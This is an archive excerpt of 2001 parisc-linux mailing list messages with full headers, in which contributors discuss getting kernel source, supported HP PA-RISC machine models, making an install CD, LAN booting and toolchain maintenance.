	id 15WJeg-0003vA-00; Mon, 13 Aug 2001 09:29:26 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id 8399B2412C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 09:54:23 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 253A23BD3F; Mon, 13 Aug 2001 09:54:23 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <Pine.LNX.4.33.0108131738060.12006-100000@leo.uni-sw.gwdg.de>
Original-Lines: 14
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11863

weilbach@uni-sw.gwdg.de (Peter Weilbacher) writes:

> is there a place to download the more or less current kernel source
> (as tarball)? A few weeks ago I was trying to get it via CVS, but
> that took hours, and I finally realized that I got the wrong one...
> I wanted to give it a new try with JFS...

I'm working on kernel-image packages for upload to the Debian mirrors right
now.  One of the side-effects is that the Debian source package will contain
a mostly-current tarball that is a snapshot of the code from CVS.  

Until I get this done, I'm not sure what other options exist.

Bdale




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Downloading kernel source
Date: Mon, 13 Aug 2001 18:07:06 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010813160706.77EE8D15AB@mail.esiee.fr>
References: <Pine.LNX.4.33.0108131738060.12006-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620378 23645 80.91.229.3 (22 Nov 2014 01:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:38 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:07:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3348482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:07:09 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 77EE8D15AB; Mon, 13 Aug 2001 18:07:06 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.33.0108131738060.12006-100000@leo.uni-sw.gwdg.de>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11864

Hi Peter,                                                             
                                                                      
          When I need the archive of hppa-linux, I go there:          
ftp://puffin.external.hp.com/pub/parisc/cvs/                          
                                                                      
It is updated when you have a new extraversion, if I am right         
                                                                      
Hoping that it will be useful, Thomas                                 
ESIEE Team                                                            
                                                                      




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Mon, 13 Aug 2001 18:09:55 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010813160956.23AC1D15A6@mail.esiee.fr>
References: <20010810182304.H23676@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620379 23647 80.91.229.3 (22 Nov 2014 01:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:39 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:09:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D63A482A
	for <parisc-linux@parisc-linux.org>; Mon, 13 Aug 2001 10:09:57 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 23AC1D15A6; Mon, 13 Aug 2001 18:09:56 +0200 (CEST)
In-Reply-To: <20010810182304.H23676@linuxcare.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11865

Hi Richard,                                                           
                                                                      
            Thanks for the feedback. I think that I will work on it   
tomorrow in order to give a version that do not hang with the leds and
take care of the presence of the device. I think that the fact that   
the system is hanged is due to my "while"s I planned to remove them   
too...                                                                
                                                                      
Thanks again, Thomas                                                  
ESIEE Team                                                            




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <christian@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LAN booting
Date: Mon, 13 Aug 2001 18:07:36 +0000
Organization: private
Lines: 15
Approved: news@gmane.org
Message-ID: <20010813180736.A306@familie-weerts.de>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620379 23648 80.91.229.3 (22 Nov 2014 01:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:39 +0000 (UTC)
To: parisc-ml <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:11:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.familie-weerts.de (dialin-79182.ewetel.net [212.6.79.182])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81BB7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:11:19 -0600 (MDT)
Original-Received: from cw by mail.familie-weerts.de with local (Exim 3.12 #1 (Debian))
	id 15WM7k-00005Z-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 18:07:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11866

Hi,

is there anyone who has a running 715/80? I want to build a kernel for this
machine discribed in the nfsroot howto from Martin Petersen, but i don't
have HP-UX anywhere.
If i had a kernel perhaps i could boot the machine over LAN.

Gruss,
	Christian

-- 
http://oldenburg.linux.de




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] list of supported machine types
Date: 13 Aug 2001 10:12:45 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <8766bs5476.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620379 23650 80.91.229.3 (22 Nov 2014 01:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:12:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56722482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:12:58 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.31 1 (Debian))
	id 15WJwa-0003yl-00; Mon, 13 Aug 2001 09:47:56 -0600
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by winfree.gag.com (Postfix) with ESMTP id A867D2412F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:12:45 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 9751E3BD3F; Mon, 13 Aug 2001 10:12:45 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
Original-Lines: 17
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11867

I've been having a chat with Martin Schulze about the Debian ports page for
hppa, and he brings up a good point.  There really isn't a good page right now
showing which machines are known to work with the latest CD image and which
are not.  And for those that don't work with the CD installer, which ones can
be made to work with a network install and which really just won't work at all?

  From my own experience, it would be very helpful to know which systems
  are supported and how.  The hwdb @parisc-linux is not very helpful.  They
  list systems and their owners.  Does it run on 720?  735?  715/33 and 715/50?
  Ok, 715/50 I've seen on the list, but not the others, though, they are listed.
  I have a couple of HP systems flying around here, *counting* 9, different
  models, which one will do and which won't?

The closest thing is http://www.parisc-linux.org/release-0.9/systems.html, but
it isn't clear whether that list is still correct for 0.9.2?  

Bdale




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list of supported machine types
Date: Mon, 13 Aug 2001 18:30:15 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010813163015.7842CD15A6@mail.esiee.fr>
References: <8766bs5476.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620380 23652 80.91.229.3 (22 Nov 2014 01:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:30:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA990482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:30:16 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7842CD15A6; Mon, 13 Aug 2001 18:30:15 +0200 (CEST)
In-Reply-To: <8766bs5476.fsf@rover.gag.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11868

Hi Bdale,                                                             
                                                                      
              It is just a reminder. In our website, you can see which
hardware will work and with which version. Perhaps, it needs some     
updates but I try to keep it up to date with the info of the mailing  
list. Perhaps, it will be an easier job to create a hwdb mailing list 
and some very kind people could send us a quick mail saying does work 
with XXX version or X.X.X linux kernel version...                     
                                                                      
For info, our website is currently: http://mkhppa02.esiee.fr:8000/    
On September, http://www.esiee.fr/puffin should work again.           
                                                                      
The list lives at http://mkhppa02.esiee.fr:8000/list.html             
                                                                      
Regards, Thomas.                                                      
ESIEE Team                                                            
                                                                      




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list of supported machine types
Date: Mon, 13 Aug 2001 12:33:55 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20010813123355.D22022@megatonmonkey.net>
References: <8766bs5476.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620380 23654 80.91.229.3 (22 Nov 2014 01:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 10:33:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 614A4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 10:33:25 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7DGhGX22749
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 12:43:16 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7DGXtM22162
	for parisc-linux@lists.parisc-linux.org; Mon, 13 Aug 2001 12:33:55 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <8766bs5476.fsf@rover.gag.com>; from bdale@gag.com on Mon, Aug 13, 2001 at 10:12:45AM -0600
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11869

>   I have a couple of HP systems flying around here, *counting* 9, different
>   models, which one will do and which won't?
> 
> The closest thing is http://www.parisc-linux.org/release-0.9/systems.html, but
> it isn't clear whether that list is still correct for 0.9.2?  
> 
> Bdale
>

Bdale,

A very good point. We have a cluster of 30x 712/50's running.
Although we have taken some unorthodox steps, like running ypbind
in debug mode so it doesn't crash, voodoo magic and x-compiled MPICH.

We also have a few 712/33's running, but we mostly gutted them for
parts. I'll see if I can rebuild one this week and test on it.

We have a single 712/60 that Byron Sonne gave us (Hi Bryon!) and
it ran without any problem. The 712/60 is happily living as Node23 
right now :)

Should we attempt to track usable .config's for a given machine type/setup?
Navigating the kernel config on the 712/50's is a bit like a minefield...
you enable the wrong thing and boom!

Cheers,
Carlos.

 




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] list of supported machine types
Date: Mon, 13 Aug 2001 13:05:42 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20010813130542.E22022@megatonmonkey.net>
References: <8766bs5476.fsf@rover.gag.com> <20010813123355.D22022@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620380 23659 80.91.229.3 (22 Nov 2014 01:39:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 11:05:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FD0E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 11:05:13 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7DHF4X22914
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 13:15:05 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7DH5gM22240
	for parisc-linux@lists.parisc-linux.org; Mon, 13 Aug 2001 13:05:42 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010813123355.D22022@megatonmonkey.net>; from carlos@baldric.uwo.ca on Mon, Aug 13, 2001 at 12:33:55PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (80% Sync Ratio [========..])
Xref: news.gmane.org gmane.linux.ports.parisc:11870

[snip]
> We also have a few 712/33's running, but we mostly gutted them for
[snip] 
> Navigating the kernel config on the 712/50's is a bit like a minefield...
> 
> Cheers,
> Carlos.
>

My apologies, 715/33 and 715/50.

Cheers,
Carlos. 




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jaime Ash" <jaimeash@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FW: Creating the installation CD
Date: Mon, 13 Aug 2001 15:41:58 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <NEBBJAILOLAHGDBEOCIOKEFECFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0006_01C1240E.7CBA22C0"
X-Trace: ger.gmane.org 1416620381 23663 80.91.229.3 (22 Nov 2014 01:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:41 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 16:42:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F114482A
	for <parisc-linux@parisc-linux.org>; Mon, 13 Aug 2001 16:42:55 -0600 (MDT)
Original-Received: from jaimesnewpc ([24.254.24.106]) by femail6.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20010813224248.CXRE17978.femail6.sdc1.sfba.home.com@jaimesnewpc>
          for <parisc-linux@parisc-linux.org>;
          Mon, 13 Aug 2001 15:42:48 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-MS-TNEF-Correlator: <NEBBJAILOLAHGDBEOCIOKEFECFAA.jaimeash@home.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11871

This is a multi-part message in MIME format.

------=_NextPart_000_0006_01C1240E.7CBA22C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit



>  -----Original Message-----
> From: 	Jaime Ash [mailto:jaimeash@home.com] 
> Sent:	Sunday, August 12, 2001 3:10 PM
> To:	parisc-linux-announce@lists.parisc-linux.org
> Subject:	Creating the installation CD
> 
> I am in the process of trying to upgrade my PA-Linux machine (model HP
> 715) from version 0.6 to version 0.9.2, and also trying to install version
> 0.9.2 on an HP 735.
> 
> I have already extracted the file named "palinux-0.9.2.iso" from the
> downloaded file, but I do not know how to proceed from there to create the
> installation CD.  (Note that for version 0.6 I had used an installation CD
> that I got from Grant Grundler, so I never learned how he created the CD,
> and now he is on LOA).
> 
> So my question to you is, what is the process for going from the *.iso
> file to create the CD.
> 
> Sincerely,
> 
> Jaime Ash
> email: jaimeash@home.com

------=_NextPart_000_0006_01C1240E.7CBA22C0
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="winmail.dat"

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
UE1UTzpQQVJJUwAAAAATrw==

------=_NextPart_000_0006_01C1240E.7CBA22C0--





From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] toolchain
Date: Mon, 13 Aug 2001 17:19:25 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <200108132319.RAA13888@puffin.external.hp.com>
References: <drax@whiplash.stampede.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620381 23665 80.91.229.3 (22 Nov 2014 01:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DraX <drax@whiplash.stampede.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 17:21:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B550482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 17:21:19 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA13888;
	Mon, 13 Aug 2001 17:19:25 -0600
In-Reply-To: Message from DraX <drax@whiplash.stampede.org> 
   of "Sun, 12 Aug 2001 12:28:25 PDT." <Pine.LNX.4.10.10108121225590.4893-100000@whiplash.stampede.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11872

DraX wrote:
> xMach will soon be talking the PA-Mach port from Utah and merging it in to
> our source tree, but we are in need of a new PA-RISC toolchain.

xMach is another kernel+OS?

Just had a flashback...the unix wars are *not* over...they've somehow
shifted to a sort-of-voluntary army. :^(


> Is the PA-Linux team now the maintainers of it?

No. We don't maintain it any more than anyone else. AFAIK, all of
the changes the parisc-linux port needs are back upstream to the gcc
and binutils maintainers.

BTW, Kudos again to the random collection of people who've worked on it for
the past couple of years.

> If so could someone give a little
> less linux oriented instructions for building the tool chain?

Though someone might be able to answer your question, I'd expect
better results by querying an xMach mailing list.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DraX <drax@whiplash.stampede.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] toolchain
Date: Mon, 13 Aug 2001 16:27:48 -0700 (PDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10108131626440.10078-100000@whiplash.stampede.org>
References: <200108132319.RAA13888@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620381 23668 80.91.229.3 (22 Nov 2014 01:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
